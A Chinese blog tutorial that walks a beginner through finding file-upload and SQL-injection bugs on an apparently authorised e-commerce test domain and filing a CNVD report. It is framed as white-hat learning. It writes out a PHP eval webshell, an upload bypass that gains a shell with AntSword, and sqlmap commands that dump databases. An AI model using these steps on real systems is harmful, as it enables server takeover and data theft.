黑客技术漏洞挖掘实战教程!记一次脚本小子的CNVD证书获取过程

前言:CNVD 证书对 “脚本小子” 的意义

CNVD(国家信息安全漏洞库)作为国内权威的漏洞收录平台,其颁发的漏洞证明证书是白帽黑客的重要资质背书 —— 不仅能佐证实战能力,更是求职、技术交流中的 “硬通货”。对于刚入门的 “脚本小子”(依赖工具、侧重实战操作的新手)而言,通过基础工具完成一次 CNVD 漏洞提交并获取证书,是从 “工具使用者” 向 “实战白帽” 转型的关键一步。

本文将以 “网安新人视角”,拆解从工具准备→漏洞挖掘→报告提交→证书获取的全流程,所有操作均基于 “合法授权场景”(企业 SRC 测试专区),重点突出 “可落地、可复现”,帮助新手避开 “违法测试”“报告无效” 等坑。

一、战前准备:

脚本小子常犯的错误是 “直接上手扫漏洞”,忽略准备阶段的合规性与工具适配性。以下 3 个准备步骤,是获取 CNVD 证书的基础。

1. 工具清单:聚焦 “新手友好型” 工具

无需追求复杂工具,以下 5 类基础工具可覆盖 80% 的漏洞挖掘场景,且均为开源 / 免费版本:

工具类型核心工具用途说明下载渠道
信息收集工具OneForAll、Nmap子域名收集、端口 / 服务版本扫描GitHub(OneForAll)、官网(Nmap)
抓包分析工具Burp Suite 社区版抓包改包、参数篡改、暴力破解PortSwigger 官网
漏洞扫描工具Xray(基础版)自动化 Web 漏洞扫描(SQL 注入、XSS、SSRF 等)长亭科技官网
漏洞利用工具SQLMap、蚁剑SQL 注入数据导出、WebShell 连接GitHub(SQLMap / 蚁剑)
辅助识别工具Wappalyzer(浏览器插件)识别网站 CMS、中间件、前端框架Chrome 应用商店

工具部署要点

  • OneForAll 需配置 Python 环境(3.8+),安装依赖:pip install -r requirements.txt

img

  • Xray 需提前配置代理(与 Burp 联动),避免扫描流量被拦截;
  • 蚁剑需准备 “一句话木马”(如<?php @eval($_POST['cmd']);?>),用于文件上传漏洞验证。

2. 合法授权:守住 “不违法” 的底线

新手最危险的行为是 “未经授权测试”,根据《网络安全法》第 27 条,“未经允许,不得对计算机信息系统实施渗透、攻击”,即使未造成损失,也可能面临罚款、拘留。合法测试场景选择(新手优先):

  • 企业 SRC 平台(如阿里云 SRC、腾讯 SRC)的 “公开测试专区”;
  • 厂商明确授权的测试域名(如某企业 SRC 标注 “test.example.com为测试靶场”);
  • 自建靶场(如 DVWA、SQLI-LAB),但此类漏洞无法提交 CNVD。

本文实战场景:某电商企业 SRC 的 “公开测试专区”(域名:test.xxx-shop.com),已在 SRC 平台明确标注 “允许漏洞挖掘,禁止破坏数据”。

3. CNVD 账号准备:完成实名认证

提交漏洞前需注册 CNVD 账号并完成实名认证(个人需上传身份证正反面),步骤如下:

  1. 访问 CNVD 官网(https://www.cnvd.org.cn/),点击 “注册” 选择 “个人用户”;
  2. 填写基本信息(手机号、邮箱),完成短信验证;

在这里插入图片描述

  1. 进入 “个人中心→实名认证”,上传身份证照片,等待审核(1-3 个工作日);

  2. 认证通过后,开通 “漏洞提交” 权限(路径:“漏洞管理→漏洞提交”)。

二、漏洞挖掘全流程实战:从 “信息收集” 到 “危害验证”

新人的核心优势是 “工具组合使用效率”,以下流程严格遵循 “信息收集→扫描→验证→利用” 逻辑,避免盲目操作。

1. 第一步:信息收集 —— 找到 “可攻击的目标”

信息收集的目标是 “缩小测试范围,定位潜在漏洞点”,新手常忽略此步直接扫漏洞,导致效率极低。

(1)子域名收集:用 OneForAll 挖掘隐藏资产

脚本:python oneforall.py --target test.xxx-shop.com run操作结果:收集到 3 个相关子域名:

  • test.xxx-shop.com(主测试域);
  • m.test.xxx-shop.com(移动端测试域);
  • admin.test.xxx-shop.com(后台管理域,需登录)。

分析:优先选择主测试域(test.xxx-shop.com),移动端域可能存在适配漏洞,后台域因需登录暂放。

(2)端口与服务扫描:用 Nmap 找 “开放入口”

脚本:nmap -sV -p 1-65535 -oN nmap_result.txt test.xxx-shop.com

  • -sV:探测服务版本;
  • -p 1-65535:扫描所有端口;
  • -oN:输出结果到文本文件。

关键结果

端口服务类型版本信息潜在漏洞点
80HTTPApache/2.4.49中间件漏洞(如 Apache 路径穿越)
443HTTPSOpenSSL 1.1.1f无高危已知漏洞
8080TomcatApache Tomcat/9.0.45管理端弱口令、后台文件上传
3306MySQLMySQL 5.7.33远程登录弱口令

分析:80 端口(Web 服务)和 8080 端口(Tomcat 后台)是重点测试对象,3306 端口需知道账号密码暂不测试。

(3)CMS 与中间件识别:用 Wappalyzer 找 “已知漏洞”

打开 Chrome 浏览器,启用 Wappalyzer 插件,访问test.xxx-shop.com,识别结果:

  • CMS:织梦 DedeCMS 5.7(存在多个已知漏洞,如文件上传、SQL 注入);
  • 前端框架:jQuery 1.8.3(无高危漏洞);
  • 服务器:Linux(CentOS 7)。

结论:织梦 CMS 是重点突破点,需优先测试其已知漏洞(如 DedeCMS 5.7 的 “文件管理器上传漏洞”)。

2. 第二步:漏洞扫描 —— 用 Xray 自动化找 “可疑漏洞”

Xray 是新手友好的自动化扫描工具,支持被动扫描(通过 Burp 代理抓包)和主动扫描,此处选择 “被动扫描 + Web 漏洞” 模式。

(1)配置 Burp 与 Xray 联动
  1. 启动 Xray,执行被动扫描命令:xray webscan --listen 127.0.0.1:8080 --html-output xray_report.html
  2. 打开 Burp Suite,进入 “Proxy→Options→Upstream Proxy Servers”,添加代理:
    • 地址:127.0.0.1,端口:8080;
    • 勾选 “Use this proxy server for all requests”。
(2)手动浏览目标网站,触发扫描

在浏览器中访问test.xxx-shop.com,完成以下操作(目的是让 Burp 抓取更多请求):

  • 浏览首页、商品列表页、商品详情页;
  • 尝试用户注册(用测试账号:test123@xxx.com);
  • 提交商品评论(输入测试内容)。
(3)分析 Xray 扫描报告

扫描结束后打开xray_report.html,重点关注 “高危漏洞”:

  • 漏洞 1:test.xxx-shop.com/plus/ajax_upload.php 存在文件上传漏洞(风险等级:高危);
  • 漏洞 2:test.xxx-shop.com/show.php?id=123 存在 SQL 注入漏洞(风险等级:高危);
  • 漏洞 3:test.xxx-shop.com/comment.php 存在反射型 XSS 漏洞(风险等级:中危)。

关键动作:排除误报 ——Xray 可能将 “参数拼接” 误判为 SQL 注入,需手动验证高危漏洞(漏洞 1、2)。

3. 第三步:手动验证高危漏洞 —— 确认 “漏洞真实存在”

自动化扫描结果需手动验证,避免提交 “误报漏洞” 导致 CNVD 审核失败。

(1)验证 “文件上传漏洞”(漏洞 1)

目标地址:test.xxx-shop.com/plus/ajax_upload.php(织梦 CMS 的默认上传接口)操作步骤

  1. 打开 Burp,访问上传页面(test.xxx-shop.com/plus/upload.php),点击 “选择文件” 上传一张正常图片(如test.jpg);

  2. 在 Burp 的 “Proxy→Intercept” 中拦截上传请求,修改 “Content-Type” 为

    image/jpeg
    

    将文件名改为

    test.php.jpg
    

    并在图片末尾插入 “一句话木马”:

    <?php @eval($_POST['cmd']);?>
    
  3. 点击 “Forward” 发送请求,返回结果显示 “上传成功,路径:/uploads/202405/test.php.jpg”;

  4. 用蚁剑连接该路径:添加 “http://test.xxx-shop.com/uploads/202405/test.php.jpg”,密码 “cmd”,点击 “测试连接”—— 连接成功,获取 WebShell。

结论:文件上传漏洞真实存在,可 getshell,符合 CNVD 高危漏洞标准。

(2)验证 “SQL 注入漏洞”(漏洞 2)

目标地址:test.xxx-shop.com/show.php?id=123操作步骤

  1. 手动测试:在 URL 后添加' and 1=2--+,变为test.xxx-shop.com/show.php?id=123' and 1=2--+,页面显示 “无数据”(正常应为 “商品不存在”),初步判断存在注入;

  2. 用 SQLMap 深化验证,脚本:

    python sqlmap.py -u "test.xxx-shop.com/show.php?id=123" --dbs --batch
    
  3. 结果:成功导出数据库列表,包含xxx_shop_test(测试库),进一步执行--tables可导出用户表(user_test),包含测试账号的明文密码(符合 SRC “禁止破坏数据” 要求,未导出完整数据)。

结论:SQL 注入漏洞真实存在,可读取数据库数据,属于高危漏洞。

4. 第四步:危害验证 —— 证明 “漏洞有实际风险”

CNVD 要求漏洞需 “有明确危害”,不能仅停留在 “技术可利用”,需完成以下验证:

  • 对文件上传漏洞:通过蚁剑查看服务器目录,证明可访问/var/www/html(网站根目录),但未修改 / 删除任何文件;
  • 对 SQL 注入漏洞:导出user_test表的前 10 条数据(脱敏处理,隐藏真实手机号 / 邮箱),证明可窃取用户信息;
  • 截图 / 录屏:记录所有操作步骤(如上传木马、SQLMap 执行结果、蚁剑连接成功界面),需包含 “目标域名、操作时间、结果”,避免模糊。

三、CNVD 漏洞报告撰写:按 “模板” 写,通过率提升 80%

脚本小子常因 “报告不规范” 导致 CNVD 审核失败,以下模板严格遵循 CNVD 要求,包含所有必填项。

1. 报告核心结构(CNVD 平台表单字段)

(1)漏洞基本信息(必填)
字段名称填写示例注意事项
漏洞名称某电商测试域(test.xxx-shop.com)织梦 CMS 文件上传漏洞包含 “目标、漏洞类型”,避免模糊(如 “文件上传漏洞”)
漏洞类型Web 应用漏洞→文件上传漏洞从 CNVD 下拉列表选择,不可自定义
影响产品织梦 DedeCMS 5.7填写具体产品及版本,需与实际一致
影响范围test.xxx-shop.com(测试域)明确标注 “测试域”,避免误导为生产环境
漏洞等级高危参考 CNVD 分级:高危 / 中危 / 低危 / 信息
(2)漏洞详情(核心,需附截图)

按 “步骤 + 结果” 逻辑撰写,示例:

  1. 漏洞位置test.xxx-shop.com/plus/ajax_upload.php(织梦 CMS 默认上传接口);
  2. 触发条件:
    • 访问上传页面test.xxx-shop.com/plus/upload.php,选择 “图片文件”;
    • 用 Burp 拦截请求,修改文件名为 “test.php.jpg”,在文件末尾插入一句话木马;
    • 发送请求后,返回 “上传成功”,获取文件路径/uploads/202405/test.php.jpg
  3. 利用结果:用蚁剑连接该路径,成功获取 WebShell,可访问网站根目录(截图 1:Burp 抓包修改界面;截图 2:蚁剑连接成功界面)。
(3)危害分析(必填)

需说明 “漏洞可能导致的实际损失”,示例:“攻击者可通过该漏洞上传恶意文件(如木马),获取服务器 WebShell,进而读取用户数据、篡改网站内容,甚至横向渗透内网。因目标为测试域,暂未造成生产环境影响,但漏洞原理与生产环境一致,需修复。”

(4)修复建议(具体可落地)

避免 “泛泛而谈”,需给出技术方案,示例:

  1. 升级织梦 CMS 至最新版本(DedeCMS 5.8.1),官方已修复该上传漏洞;
  2. 对上传接口添加 “文件内容校验”(如验证图片文件的 EXIF 信息,拒绝含 PHP 代码的文件);
  3. 限制上传文件的存储目录权限(如uploads目录禁止执行 PHP 脚本)。

2. 证明材料准备:截图 / 视频需 “清晰、连贯”

CNVD 要求 “每个关键步骤需附证明材料”,新手需注意:

  • 截图需包含 “目标域名”(如浏览器地址栏显示test.xxx-shop.com);
  • 视频需无剪辑(建议用 OBS 录制,时长控制在 5 分钟内),包含 “操作→结果” 完整流程;
  • 敏感信息脱敏(如用户数据中的手机号用 “138****1234” 代替)。

材料清单

  • 截图 1:OneForAll 子域名收集结果;
  • 截图 2:Nmap 端口扫描结果(标注 80 端口);
  • 截图 3:Burp 修改上传请求界面;
  • 截图 4:蚁剑连接成功界面(显示服务器目录);
  • 视频:完整上传→连接流程(命名格式:“test.xxx-shop.com文件上传漏洞.mp4”)。
    在这里插入图片描述

3. 提交流程(CNVD 平台操作)

  1. 登录 CNVD,进入 “漏洞管理→漏洞提交”,选择 “Web 应用漏洞”;
  2. 按表单填写 “漏洞基本信息→漏洞详情→危害分析→修复建议”;
  3. 上传证明材料;
  4. 勾选 “本人承诺:所提交漏洞真实有效,已获得合法授权”,点击 “提交”;
  5. 记录 “漏洞报告编号”(如 CNVD-2024-XXXX),用于后续查询进度。

四、CNVD 审核与证书获取:等待 + 应对反馈

你只需耐心等待审核,CNVD 审核周期通常为 7-15 个工作日,

1. 常见审核失败原因与解决方法

失败原因解决方法
漏洞描述不清晰补充 “步骤截图”,每个操作对应 1 张截图
证明材料无目标域名重新截图,确保浏览器地址栏显示测试域名
漏洞已被提交(重复)查询 CNVD 漏洞库,确认是否已有相同漏洞
未获得合法授权补充 SRC 平台授权截图(如 “test.xxx-shop.com为测试域”)

2. 证书下载与使用

审核通过后,CNVD 会发送邮件至注册邮箱,包含 “漏洞编号、证书下载链接”,步骤如下:

  1. 点击邮件中的链接,登录 CNVD 账号;
  2. 进入 “漏洞管理→我的漏洞”,找到对应漏洞,点击 “下载证书”;
  3. 证书为 PDF 格式,包含 “漏洞编号、提交者、颁发日期、CNVD 公章”,可用于求职简历、技术认证。

在这里插入图片描述

五、脚本小子的进阶建议与风险提示

  1. 从 “工具使用者” 到 “原理理解者”:本次实战依赖工具,但需后续补充原理(如文件上传漏洞的 “文件解析漏洞” 原理、SQL 注入的 “语句拼接漏洞” 本质),避免永远停留在 “脚本小子” 阶段。
  2. 合法合规红线不可碰:切勿将测试范围扩大到 “非授权域名”,即使是 “测试域” 也需遵守 SRC 规则(如禁止删除数据、禁止植入恶意代码),《网络安全法》对 “破坏计算机信息系统” 的量刑最高可达 5 年以上有期徒刑。
  3. 实战积累路径
    • 初期:在 SRC 平台提交简单漏洞(XSS、SQL 注入),积累报告经验;
    • 中期:学习代码审计(如 PHP 基础),挖掘逻辑漏洞(如支付越权);
    • 后期:尝试二进制漏洞(需学逆向工程),提交更高价值漏洞。

结语:CNVD 证书是 “起点”,不是 “终点”

对于脚本小子而言,第一次获取 CNVD 证书的意义,在于 “建立实战信心” 和 “理解合规边界”。但需明确:漏洞挖掘的核心不是 “拿证书”,而是 “通过技术保护系统安全”。

后续学习中,建议逐步减少对 “自动化工具” 的依赖,深入理解漏洞原理,从 “能找到漏洞” 向 “能修复漏洞” 转型 —— 这才是白帽黑客的核心价值。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值